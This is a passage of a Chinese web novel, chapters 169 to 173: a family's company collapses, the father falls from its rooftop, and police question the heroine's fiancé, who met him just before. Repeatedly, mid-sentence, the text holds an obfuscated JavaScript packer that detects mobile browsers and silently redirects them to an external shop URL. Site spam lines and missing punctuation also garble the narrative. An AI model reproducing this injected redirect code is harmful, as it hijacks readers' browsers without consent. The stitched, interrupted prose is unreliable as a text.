“哥!”明嫣扬起笑脸,“我们在家吃饭呢,爸妈都想你了,你什么时候回来呀?” 屏幕里的明燃看到家人,冷硬的眉眼柔和了些许,他揉了揉眉心,声音带着一丝熬夜后的沙哑:“爸,妈……嫣嫣。” 他目光扫过镜头里的傅修沉,微微颔首,算是打过招呼,随即对明嫣道:“这边的事情……马上处理完了。顺利的话,下周就能回去。” 苏婉晴立刻凑到镜头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777663|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,急切地问:“下周?那来得及赶回来过除夕吧?” 明燃看着母亲殷切的脸,点了点头,语气肯定:“嗯,放心,肯定来得及赶上除夕。” “那就好,等你回来啊。”明嫣放下心来,又和他聊了几句才挂断。 一顿饭吃得其乐融融。 饭后,明庭峰和傅修沉在书房下了会儿棋,聊了些商业上的事。 明嫣则陪着母亲在客厅喝茶聊天,说起律所分所的筹备情况,苏婉晴听得连连点头,为她骄傲。 离开明家时,夜色已深。 苏婉晴看着傅修沉细心为明嫣拢好围巾,护着她上车的背影,眼底是满满的欣慰。 回到屋里,佣人已经开始收拾餐桌。 苏婉晴看着堆在客厅角落那如小山般的礼品,忍不住又感慨道:“修沉这孩子,真是有心了。你看他挑的这些礼物,不只是贵重,样样都合我的心意,肯定是花了心思打听过的。” 她拿起那个装着羊脂玉雕松鹤延年摆件的锦盒,触手温润,不由得又叹道:“这孩子,也太破费了……” 明庭峰坐在沙发上,端着佣人刚沏好的热茶,笑呵呵地点头,显然对这位未来女婿满意至极:“嗯,修沉做事,向来稳妥周到。嫣儿交给他,我们没什么不放心的。” 苏婉晴指挥着佣人,将那些礼品分批整理,暂时先放到地下储藏室去。 明庭峰原本也想起身去帮忙。 然而,就在这时,他放在茶几上的手机,屏幕突然亮了起来,发出沉闷的“嗡嗡”震动声。 明庭峰随手拿起,扫了一眼来电显示,是一个没有备注的陌生号码。 他也没多想,只当是寻常业务往来或者推销电话,顺手便划开了接听键,将手机放到耳边。 “喂,哪位?” 电话那头沉默了一瞬,随即,一道略显低沉的男声传了过来—— “明叔,是我……” 那声音顿了顿,仿佛下定了某种决心,才缓缓吐出后面两个字: “……陈放。” 第169章 老死不相往来! 而此时的大洋彼岸。 酒店套房里明燃挂断了电话抬手揉了揉眉心正准备起身去倒杯水一双柔软的手臂却从背后悄然环住了他的腰。 女人温热的身躯紧密地贴了上来隔着薄薄的衬衫面料能清晰地感受到那起伏的曲线和惊人的热度。 她只穿了一件真丝吊带睡裙里面空空如也。 “阿燃……”林晚辞的嗓音又软又媚 明燃的身体瞬间僵硬他几乎是立刻抬手用力掰开了她环在自己腰上的手指力道之大没有丝毫怜香惜玉。 林晚辞吃痛却不依不饶绕到他身前试图再次贴近他仰起那张足以令任何男人心旌摇曳的脸“你帮我做这么多不就是为了这个吗?” 她扯出一个近乎惨淡的笑指尖划过自己睡裙的吊带动作带着自暴自弃的放浪“我现在只有这具身体你想要拿去啊……” “林晚辞!”他一把攥住她妄图下滑的手腕力道大得几乎要捏碎她的骨头。 他垂眸看着她看着她眼底的风情下深藏着的自厌下颌线几乎绷成了一条直线。 “这边所有事情都已经安排得差不多了。”他开口嗓音平静“所有资源和路径我都已经铺好。他们会帮你打赢这场官司拿到你应得的一切并且确保卡佩家族再也无法骚扰你。” 他顿了顿目光掠过她苍白的面颊最终落在窗外虚无的某一点“不需要我再待在这里了。” 林晚辞脸上的笑容僵住了。 “所以……”她听到自己的声音在发颤却强撑着不让它破碎“你这是要走了?” “我已经订了两天后的机票。” 他转身不再看她声音淡漠得没有一丝波澜“以后我们不要再见面了。” 看着他决绝的背影林晚辞的心脏骤然缩紧。 她几乎下意识地想要冲上去抓住他就像是抓住最后一根稻草可嘴里说出来的话却像是淬了毒的刀子“明燃你装什么正人君子?你帮我难道不是因为对我余情未了?想让我后悔当初抛弃你想让我重新匍匐在你脚下吗?” “怎么?现在目的达到了觉得我这具被别人玩烂的身体配不上你了是不是?” 明燃的脚步在门口顿住。 他没有回头背影挺拔却孤峭得像雪山顶上的孤松。 静默在房间里蔓延空气凝滞得让人窒息。 许久他才极轻地笑了一 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 声,那笑声里带着无尽的嘲弄,不知是对她,还是对自己。 “我帮你,”他缓缓开口,每个字都像是从冰碴里碾过,“是因为我记忆里,还有一个叫林晚辞的女孩儿……” 他的声音低沉而缓慢,像是在剥开一层层早已结痂的伤疤,露出底下从未愈合的血肉。 “我帮的,是那个她。” “至于现在的你……”他终于侧过头,用眼角的余光扫了她一眼,那眼神冰冷陌生,“林晚辞,以后……我们老死不相往来。” 说完,他拉开门,迈步走了出去。 厚重的房门“咔哒”一声轻响,彻底隔绝了两个世界。 林晚辞僵在原地,像一尊失去灵魂的美丽雕像。 直到脚步声彻底消失在走廊尽头,她强撑着的所有力气仿佛瞬间被抽空,腿一软,踉跄着跌坐在地毯上。 眼泪毫无预兆地汹涌而出,大颗大颗地砸落。 她没有发出任何声音,只是肩膀剧烈地颤抖着。 他说,他帮的是以前的林晚辞。 那个干净、明媚,心里满满都是他的林晚辞。 可是那个林晚辞,早就被她自己亲手杀**。 在五年前那个**的夜晚,早就腐烂发臭,尸骨无存了。 不知过了多久,眼泪终于流干。 林晚辞缓缓抬起头,脸上泪痕狼藉,眼神却一点点变得冰冷坚硬。 她抬手,用指尖狠狠擦去脸颊的湿痕,动作带着一种近乎自虐的用力。 然后,她拿起扔在沙发上的手机,拨了出去。 电话很快被接通。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777664|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林晚辞深吸一口气,压下喉咙里的哽咽,让自己的声音听起来尽可能的平静,“他两天后回国,你……做好准备。” …… 魔都,嫣然律所分所的筹备处,一派热火朝天的景象。 临时租用的写字楼一层,被精心布置成了招聘会场。 得益于前夜那场盛大的烟花秀,‘嫣然律所’这个四字招牌一夜之间响彻整个沪上。 前来应聘的精英律师多如过江之鲫,将现场挤得水泄不通。 陆奉归特意从江南总部赶来支援,忙得脚不沾地,额头沁出细密的汗珠,却依旧精神抖擞。 “下一位!”他扬声喊道,揉了揉发胀的太阳穴。 一个身影应声走上前来。 陆奉归抬头看去,不由得愣了一下。 来人是个少年,看上去年纪极轻,顶多十七八岁的样子,穿着一身洗得发白的旧牛仔服,头发有些长,但那双透过发丝看过来的眼睛,却亮得惊人,带着一种野性的警惕,像极了在荒野里的狼崽子。 “你……应聘?”陆奉归有些不确定地问,下意识地翻了翻手中的简历册。 少年抿着唇,点了点头,声音有些干涩:“应聘律师。” “律师?”陆奉归差点以为自己听错了,“小孩,我们这儿目前只招聘有执业资格的律师或者通过法考的实习生,你……” “我应聘律师。”少年重复了一遍,语气执拗。 陆奉归哭笑不得,耐着性子问:“那你通过司法考试了吗?哪个学校毕业的?有相关经验吗?” 少年紧闭着嘴,垂在身侧的手握成了拳,对于陆奉归的问题,一个也不回答,只是用那双狼崽子似的眼睛死死盯着他。 陆奉归皱了皱眉,心里那点耐心快要耗尽了,“不好意思,你不符合我们的招聘要求,请回吧。” 少年却像是钉在了原地,一动不动,眼神里透出一股狠劲。 场面一时有些僵持。 而明嫣从里面的办公室出来,恰好看到的就是这一幕…… 第170章 明氏集团出事了! 明嫣端着水杯走过去,“怎么了? 陆奉归没好气地指着那少年:“老板,你看他,一问三不知,连简历都没有,摆明是来捣乱的! 明嫣这才看向少年,他看起来不过十七八岁的年纪,身形清瘦却挺拔,尽管满脸尘土也难掩五官的俊秀,尤其是那双眼睛,充满了戒备和抵触,像一只被遗弃后,不得不竖起全身尖刺自我保护的小兽。 “你多大了? 少年抬眸看了她一眼,眼神在她脸上停留了一瞬,才极其不情愿地从喉咙里挤出两个字:“……十八。 “你是不是……没地方住?明嫣看着他一身风尘仆仆的样子,试探着问。 少年绷着脸,下颌线收紧,沉默了几秒,然后点了点头。 陆奉归在一旁看得直皱眉,凑到明嫣耳边低语:“老板,咱们这是律所,不是慈善机构…… 明嫣抬手制止了他后面的话。 她沉吟片刻,又问:“会开车吗?有驾照吗? 少年再次点头,这次动作快了些。 明嫣笑了笑,“我这边正好缺个司机,平时也需要帮忙接送一下客户。包吃包住,月薪……先按市场价来,一个月五千,你觉得可以吗? 少年愣了一下,随即点了点头,这次幅度更大了些。 “行,那就先这么定下。明嫣对陆奉归道,“你带他去办一下简单的入职手续,安排个住处,再带他去买两身像样的衣服。 陆奉归虽然心里一百个不乐意,但明嫣发了话,他也不好再说什么,只得悻悻地应下,对着那少年没好气道:“跟我来吧! 眼见着两人的离开,明嫣这才一脸好笑地摇了摇头,正准备转身回办公室的时候,却听见放在桌子上的手机正疯狂得震动。 她连忙上前拿起手机,却发现是父亲明庭峰的秘书打来的,而且是接连十几个未接来电。 明嫣不由得心头猛地一跳,连忙划开接听键。 “明小姐,不好了!秘书的嗓音带着几分惊慌失措,“明氏集团出事了!股票……股票崩了!可我联系不上明董…… 明嫣只觉得耳边“嗡的一声,血液瞬间冲向头顶,又迅速冻结。 “你说什么?慢慢说,怎么回事?! “就是前几天中标的城东那个项目……是个骗局!海外融资方卷款跑了!项目资金链彻底断裂,还牵扯出违规担保……现在银行都在抽贷,供应商围堵总部……股价……股价已经跌停了! 明嫣握着 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 手机的手指瞬间冰凉,指尖不受控制地颤抖起来。 城东项目……骗局? 卷款跑了? 这怎么可能?! 父亲明明昨天还…… 她猛地想起昨夜父亲在电视里接受采访时的意气风发…… 一股寒意从脚底瞬间窜遍全身。 她连忙打开桌上的电脑,输入明氏集团四个字后,财经新闻的推送如同雪片般弹出,每一条标题都触目惊心—— 【明氏集团深陷百亿骗局,城东地王项目或烂尾!】 【惊天雷暴!明氏集团疑似**,海外融资方人间蒸发!】 【银行集体抽贷,供应商围堵,明氏帝国一夜倾覆?】 配图是明氏集团总部楼下黑压压的人群和纷飞的传单,混乱不堪。 明嫣的心脏像是被一只无形的手死死攥住,几乎无法呼吸。 她颤抖着手指,找到父亲明庭峰的号码,拨了过去。 “嘟……嘟……嘟…… 漫长的忙音,一遍又一遍,如同钝刀割在心口。 无人接听。 再打,依旧无人接听。 一种前所未有的恐慌涌上心头。 父亲从来不会不接她的电话! 她猛地转身,抓起车钥匙就往外冲,甚至来不及跟陆奉归交代一句。 车子如同离弦之箭,疯狂地驶向明家别墅。 一路上,她不停地拨打父亲的电话,甚至还打了大哥明燃远在国外的号码…… 全都无人接听! 不祥的预感越来越浓,几乎要将她吞噬。 终于,车子一个急刹停在明家别墅门口。 她甚至来不及熄火,推开车门就冲了进去。 别墅里,同样是一片混乱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777665|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佣人们面色惶惶,窃窃私语,看到她进来,立刻噤声,眼神躲闪。 “妈!妈! 苏婉晴从客厅里跌跌撞撞地跑出来,脸色惨白如纸,眼圈红肿,显然是哭过。 她一把抓住明嫣的手,手指冰凉,力道大得几乎要掐进明嫣的肉里。 “嫣儿!你爸……你爸他电话打不通!公司……公司那边…… 苏婉晴语无伦次,声音带着哭腔,“怎么办啊嫣儿?怎么会这样?昨天还好好的…… “妈,别急,别急! 明嫣强压下心头的惊涛骇浪,用力回握住母亲冰冷的手,试图给她一丝力量,“爸 你的朋友正在书荒,快去帮帮他吧 可能只是在忙,在处理事情,电话打不通很正常……我们先冷静下来……” 她嘴上安慰着母亲,自己的心脏却跳得如同擂鼓。 她扶着几乎要瘫软的苏婉晴在沙发上坐下,深吸一口气,用尽量平稳的语气说:“妈,您先坐会儿,我打电话问问情况。” 她拿出手机,这一次,毫不犹豫地找到了那个置顶的号码——傅修沉。 在这种时候,他是她唯一能想到的,可以依靠和求助的人。 电话拨出去,听筒里传来规律的“嘟……嘟……”声。 一声,两声,三声…… 明嫣的心随着那声音一点点提起。 然而,就在她以为电话即将被接起的瞬间—— “嘟……” 电话被挂断了! 明嫣猛地愣住,难以置信地看着手机屏幕。 通话结束的界面冷冰冰地提示着刚才发生的一切。 傅修沉……挂了她的电话? 这怎么可能? 他从来不会挂她的电话,尤其是在这种时候! 为什么? 他是在开会? 还是……遇到了什么麻烦? 不,不对。 就算是再重要的会议,他也不会直接挂断她的电话,至少会给她一条信息…… 就在明嫣大脑一片混乱时—— “啪嚓!” 一声清脆的碎裂声自身后响起! 第171章 **轻生!(加更) 她猛地回头,心脏几乎跳出胸腔。 只见母亲苏婉晴失魂落魄地站在茶几旁,脚边是飞溅的玻璃碎片和一滩迅速洇开的水渍。 她脸色煞白,眼神空洞,显然是心神恍惚间,碰落了杯子。 “妈!”明嫣惊呼一声,几步冲过去。 苏婉晴像是被这声音惊醒,下意识地就要弯腰去捡那些锋利的碎片。 “别用手!”明嫣急忙拉住她的胳膊。 可还是晚了。 苏婉晴的指尖已经触碰到了一片尖锐的玻璃碴,鲜红的血珠瞬间涌出。 “嘶……”苏婉晴痛得缩了一下,低头看着自己冒血的手指。 明嫣心口一揪,连忙抽了几张纸巾,小心翼翼地包裹住母亲受伤的手指,用力按住。 纸巾很快被血色濡湿,晕开一小团刺眼的红。 “我没事,没事……”苏婉晴喃喃着,反过来用没受伤的手紧紧抓住明嫣的手腕,“嫣儿,修沉……修沉怎么说?” 明嫣感受着手腕上传来的力道和母亲指尖的冰凉,那寒意似乎顺着血液一路蔓延到了心底。 她喉头发紧,避开母亲殷切的目光,“他……他没接电话,可能在开会,没拿手机……” 苏婉晴眼底刚刚燃起的一点微光,瞬间寂灭,抓着明嫣的手也无力的松开了些。 明嫣不敢深想,强迫自己冷静下来。 她扶着母亲在沙发上重新坐好,捡起地上的手机,再次拨通了明庭峰秘书的电话。 这一次,电话几乎是秒接。 “王秘书,找到我爸了吗?!”明嫣急声问。 “还没有……” “没人知道他去哪儿了吗?” “明董他……他上午好像约了个人,很早就离开办公室了,也没说去哪儿,也没让我跟着……我问了前台和保安,他们都没见董事长出公司,而且,车子也在地下停车场……” 约了人? 明嫣的心直直往下沉。 父亲做事向来稳妥,尤其是在这种关键时期,绝不会无故失联,更不会在这种风口浪尖独自去见什么人。 除非……事情远比她想象的更严重,严重到父亲不得不避开所有人…… 一股冰冷的寒意顺着脊椎爬升。 明嫣不由得眉头紧皱,“那我爸应该还在公司,麻烦你多派些人出去找一下……” “是,是!我这就安排!”秘书连声应下。 等待的时间,每一分每一秒都漫长如年。 你的朋友正在书荒,快去帮帮他吧 客厅里死寂得可怕只有墙上挂钟秒针走动的“滴答”声像锤子一样敲在母女俩的心上。 苏婉晴靠在沙发里用手捂着嘴眼泪无声地往下淌身体因为压抑的啜泣而微微发抖。 明嫣坐在她身边紧紧握着母亲另一只冰凉的手试图传递一点温度可她自己的手心也是一片冷汗。 她不停地看手机屏幕却始终漆黑一片。 傅修沉没有回电。 父亲杳无音信。 也不知道过了多久明嫣手里的手机突然震动了起来! 屏幕上跳跃的名字 明嫣几乎是触电般猛地站起身动作快得带倒了身后的靠垫。 她飞快地划开接听键将手机贴到耳边因为急切声音都带了破音:“傅修沉!你刚才怎么不接电话?!” 电话那头沉默了一瞬“刚才没拿手机应该是助理不小心摁断了。” 他顿了顿不等明嫣再追问便继续道“明氏的事情我知道了。” 他的语气沉静带着安抚人的力量“别怕不是什么大事交给我来解决。” 她张了张嘴还想问什么比如他在哪里他打算怎么解决有没有父亲的消息…… 可就在这时—— “嫣……嫣儿!” 坐在沙发上的苏婉晴突然发出一声颤抖的尖叫声音里充满了极致的恐惧像被人扼住了喉咙。 明嫣心头猛地一坠几乎是下意识地转头看去。 只见苏婉晴死死地盯着自己的手机屏幕那张脸在屏幕幽光的映照下惨白得如纸没有一丝血色。 “妈!怎么了?!”明嫣也顾不得电话那头的傅修沉了几步冲了过去。 手机屏幕上是一条刚刚推送的本地突发新闻加粗的血红色标题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777666|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一把淬毒的**狠狠扎进人的眼球—— 【突发!明氏集团顶楼有人坠亡!疑似集团总裁明庭峰不堪破产打击**轻生!!!】 配图是一张远远拍摄的模糊不清的照片只能看到高楼之下隐约的人形轮廓和拉起的警戒线。 “不……不可能……假的……一定是假的……” 苏婉晴猛地摇头声音破碎不堪眼神涣散像是无法理解屏幕上那些文字的含义“你爸他……他不会的……他说晚上要回来吃饭的……” 她反复念叨着试图说服自己可身体却不受控制地剧烈颤抖起来。 明嫣只觉得一股寒气从脚底 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 板直冲天灵盖,四肢百骸瞬间冰凉刺骨,血液都仿佛凝固了。 **…… 轻生…… 这两个词组合在一起,带来的冲击力足以摧毁任何人的理智。 她死死咬住下唇,直到口腔里弥漫开一股铁锈般的腥甜,才勉强压住那几乎要冲破心脏的慌乱。 她一把夺过母亲的手机,用力按熄屏幕,然后紧紧抱住母亲颤抖不已的身体,“是假的!妈,现在的新闻为了博眼球什么都敢写!爸爸不会的!他怎么可能做这种傻事!肯定是有人造谣!” 她一遍遍地说着,不知道是在安慰母亲,还是在说服自己。 苏婉晴在她怀里,像是抓住了一根救命稻草,死死攥着她的衣襟,眼泪汹涌而出,浸湿了她胸前的衣料。 就在这时,苏婉晴放在沙发上的手机又尖锐地响了起来。 母女俩皆是一震。 苏婉晴像是受了极大的惊吓,猛地瑟缩了一下,不敢去接。 明嫣深吸一口气,拿起手机,看到屏幕上闪烁的是一串陌生的本地号码。 她定了定神,划开接听键,尽量让自己的声音听起来平稳:“喂?” 电话那头传来一个冷静到近乎漠然的女声,语调平稳,“您好,请问是明庭峰的家属吗?这里是市中心医院急救中心。伤者因高处坠落伤,正在我院抢救,情况非常危重,请家属立刻过来……” 第172章 坠楼前见的是傅修沉! “轰——!” 明嫣只觉得大脑一片空白,耳边嗡嗡作响,后面护士还说了些什么,她一个字都听不清了。 高处坠落伤…… 抢救…… 这几个字像惊雷一样,在她的神经上炸开。 手机从她无力的手中滑落,“啪”地一声掉在地毯上,发出沉闷的声响。 “谁……谁的电话?”苏婉晴看着她瞬间失血的脸色,声音发颤。 明嫣怔怔地转过头,喉咙像是被滚烫的沙子堵住,一个字也说不出来。 她死死地攥紧了手指,强迫自己冷静下来,“妈……去医院……我们现在就去医院!” 一路上,明嫣将油门踩到了底,窗外的景物飞速**。 她紧握着方向盘的手指关节泛白,手心里全是冰冷的汗。 苏婉晴坐在副驾驶座上,眼神空洞地望着前方,嘴唇无声地翕动着,像是在祈祷。 每一秒都像一个世纪那么漫长。 终于,市中心医院那刺眼的红色十字标志出现在视野里。 明嫣甚至来不及将车停进车位,直接甩在急诊部门口,搀着母亲跌跌撞撞地冲了进去。 急诊大厅灯火通明,人声嘈杂,消毒水的味道浓烈刺鼻。 明嫣目光仓惶地扫视,心脏在胸腔里疯狂擂鼓,几乎要撞碎胸骨。 远远地,就看到抢救室门口亮着那盏刺目的红灯。 而就在那盏红灯下,一道挺拔熟悉的身影,赫然映入明嫣模糊的泪眼。 是傅修沉。 他似乎刚到不久,正微微侧头听着身旁一个穿着白大褂的人低声说着什么,眉头微蹙,侧脸线条在灯光下显得有些冷硬。 听到急促的脚步声,他转过头来。 目光相接的瞬间,明嫣一直强撑着的坚强外壳,终于‘啪’地一声碎裂开来。 “傅修沉……”她扑向他,一头扎进他怀里,“我爸……我爸他……” 她几乎有些语无伦次,所有伪装的镇定在这一刻土崩瓦解,只剩下全然的恐惧和依赖。 傅修沉的手掌宽大温热,一下下拍抚着她,“别怕,我在这里。” 他的声音低沉,带着一种能稳定人心的力量,“最好的医生都在里面,明伯父会没事的。” 苏婉晴看到傅修沉,像是抓住了最后一根救命稻草,扑过来抓住他的胳膊,泣不成声:“修沉……修沉你告诉我,庭峰他不会有事的是不是?这到底是怎么回事啊……” 傅修沉任由苏 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 婉晴抓着目光沉静地看着她语气平稳:“伯母您先冷静保存体力。现在最重要的是伯父能挺过来。” 他示意跟在身后的助理搬来两把椅子扶着几乎虚脱的苏婉晴坐下然后半抱着明嫣让她也坐在旁边。 明嫣靠在他怀里狂跳的心脏才稍稍平复了一些。 她抬起头泪眼朦胧地看着他:“你怎么会在这里?” 傅修沉垂眸指尖拂开她黏在脸颊的湿发动作轻柔:“接到消息就赶过来了。” 他顿了顿补充道“放心我已经联系了国内外顶尖的创伤专家正在赶来的路上伯父吉人天相不会有事的。” 明嫣重重地点了点头。 对! 她爸爸一定不会有事的。 时间一分一秒地过去每一秒都像是在油锅里煎熬。 不知过了多久抢救室的门突然被推开一个穿着绿色手术服的医生快步走出来口罩遮住了大半张脸 “明庭峰的家属?” “在!我们在!”明嫣猛地站起身腿一软幸好傅修沉在旁边扶住了她。 苏婉晴也挣扎着站起来扑到医生面前声音抖得不成样子:“医生我老公怎么样?” 医生语速很快“伤者情况非常危重多发伤内脏破裂大出血颅脑损伤生命体征极不平稳。这是病危通知书需要家属签字。” 他递过来一张薄薄的纸却重逾千斤。 苏婉晴看着上面“病危通知书”几个冰冷的黑字眼前一黑身体晃了晃差点晕厥过去。 明嫣死死咬住下唇血腥味在口腔里蔓延。 她接过笔手指颤抖得几乎握不住那冰冷的触感让她从指尖凉到心底。 “嫣儿……”苏婉晴虚弱地唤她眼神里充满了无助和恐惧。 明嫣深吸一口气强迫自己稳住手腕在通知书上签下了自己的名字。 每一笔都像是用尽了全身的力气。 医生接过通知书匆匆返回了抢救室。 门再次关上。 苏婉晴再也支撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777667|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住瘫坐在椅子上掩面痛哭哭声压抑而绝望。 这期间病危通知书又下达了两次。 每一次都像是在明嫣和苏婉晴的心上凌迟。 明嫣靠在冰冷的墙壁上身体控制不住地微微发抖傅修沉的手臂始终稳稳地环着她轻轻地拍着她的后背。 “我爸他不会想不开的…… 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ”她喃喃自语,声音嘶哑,“他昨天还那么高兴,他还说等大哥回来一起过年……他怎么可能……” 更何况,她爸爸经历过无数风浪,怎么可能因为一次商业失败就选择轻生? 这太不符合常理了! 她下意识地看向傅修沉。 傅修沉迎上她的目光,薄唇微启,“嗯,你说的对,伯父他肯定不会想不开,他……” 可还没等他说完—— “请问,是明庭峰先生的家属吗?” 一道严肃的男声自身后响起,打断了傅修沉的话。 明嫣猛地回头。 只见两名穿着制服的警察不知何时站在了他们身后,表情肃穆。 “我……我是……”明嫣连忙站起身来。 警察的目光落在她身上:“你是明庭峰的女儿?” 明嫣点了点头,喉咙干涩:“我是。” 苏婉晴像是被触动了某个开关,猛地抬起头,激动地想站起来,却浑身无力:“警察同志!我老公是被人害的!他绝对不会**的!你们一定要查清楚!” 面前的警察示意她冷静,目光转而看向明嫣,语气放缓了些:“我们理解家属的心情,请平复一下心情。目前案件还在调查初期,我们不会放过任何可能性。请问,你们是否知道明先生今天上午的行程?或者,他最近有没有和什么人结怨?坠楼前,他有没有表现出任何异常?” 明嫣的脑海里瞬间闪过王秘书说过的话,可她只知道父亲上午约了人,具体是谁并不清楚,也还没来得及问清楚…… 她张了张嘴,刚想说出这个信息时—— “见过我。” 一道低沉的声音响起。 只见傅修沉面容冷峻,迎着众人的目光,嗓音低沉, “一个小时前,我跟明伯父见过面……” 第173章 植物人! 一瞬间,空气仿佛凝固了。 明嫣猛地扭头看向傅修沉,瞳孔骤缩,几乎以为自己出现了幻听。 他说什么? 爸爸见的人是……他? 在坠楼之前? 为什么……他之前一个字都没提? 苏婉晴也愣住了,茫然地看着傅修沉,又看看女儿,似乎无法理解这句话背后的含义。 面前的警察眼神瞬间变得无比锐利,像探照灯一样聚焦在傅修沉身上,带着职业性的审视和压迫感:“傅先生,是吗?请问您今天上午什么时间,在什么地点,与明庭峰先生见的面?见面谈了些什么? 所有的目光都汇聚在傅修沉身上。 “上午九点四十分左右,在明氏集团顶楼天台。他语调平稳,听不出丝毫波澜,“谈的是城东项目的问题。明氏资金链断裂,我需要评估傅氏集团后续介入的风险和方案。 他顿了顿,目光扫过明嫣瞬间苍白如纸的脸,抿了抿唇继续道:“我们大约谈了四十分钟,十点二十分左右,我离开明氏集团。当时,他情绪虽然凝重,但思路清晰,还在部署应对危机的初步方案…… 傅修沉的陈述,逻辑清晰,时间点明确,甚至点出了明庭峰当时的状态——绝非濒临崩溃要**的人。 这似乎是在佐证明嫣的判断。 可……为什么偏偏是他? 为什么是在爸爸坠楼前,最后一个被确认的见面对象,是他? 明嫣的心脏像是被一只无形的手狠狠攥住,越收越紧,生怕父亲坠楼会跟他扯上什么关系。 两位警察显然不会轻易放过这条线索,继续追问道:“傅先生离开时,明先生状态如何?天台是否还有其他人?你们谈话过程中,有没有发生什么……不愉快? 最后几个字,问得意味深长。 傅修沉眉梢都未曾动一下:“我离开时,明伯父独自在天台,状态如前所述,并无异常。谈话内容涉及商业机密,不便详述,但过程仅限于商业探讨,并无私人冲突。 就在这时,一个年轻的警察快步走到其中一名警官身边,低声耳语了几句,递上了一个用证物袋装着的手机——那是明庭峰的手机。 警官接过,操作了几下,似乎在查看通话记录或信息。 片刻后,他再次抬头,“傅先生,根据我们初步查看明先生的通讯记录,在他坠楼前最后一段时间,除了与公司高管的通话外,最后一个外拨电话的确是给您的…… 不知怎么,明嫣闻言不由得 你的朋友正在书荒,快去帮帮他吧 暗暗地松了口气。 那名警官将手里的本子合上,面上终于见了几分温和,“傅先生,感谢您的配合。不过,鉴于您是明先生坠楼前最后接触的人之一,并且有过这通关键电话,可能需要请您稍后正式到局里做一份更详细的笔录。另外,在调查期间,也希望您暂时不要离开本市。” 傅修沉面色不变地点头,“可以。” 警察又询问了几个问题,主要是关于明庭峰近期的社交和经济状况等,苏婉晴和明嫣强忍着悲痛一一回答。 期间,抢救室的门偶尔打开,有护士匆匆进出,每一次都牵动着外面所有人的心。 但那张沉重的门,始终没有再完全打开。 警察做完初步问询,留下联系方式后,便先行离开了。 他们需要去明氏集团现场勘查,调取监控,询问其他相关人员。 走廊里,再次只剩下他们三人。 明嫣抓住傅修沉的衣袖,压低嗓音,“你跟我爸见过吗?都谈了什么?为什么之前不告诉我?” 傅修沉垂眸,视线落在她抓着自己小臂的手指上,然后缓缓上移,对上她微红的眼睛。 “事情发生得太突然,我没来得及细说。”他开口,嗓音低沉,“伯父约我,谈的是城东项目资金链断裂的解决方案。” “城东项目的窟窿比想象中深,海外融资方是空壳公司。”他反手握住她的手,掌心温热,拇指轻轻摩挲她手背,“我跟明伯父敲定了相关细节,也评估了风险,确认傅氏对明氏融资不会有问题……” 明嫣心头一颤,这才想起来他之前在电话里就跟她说过‘他来解决’…… 她那时只当他在安慰自己。 原来他已经打算好一切了…… 他顿了顿,视线扫过依旧亮着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 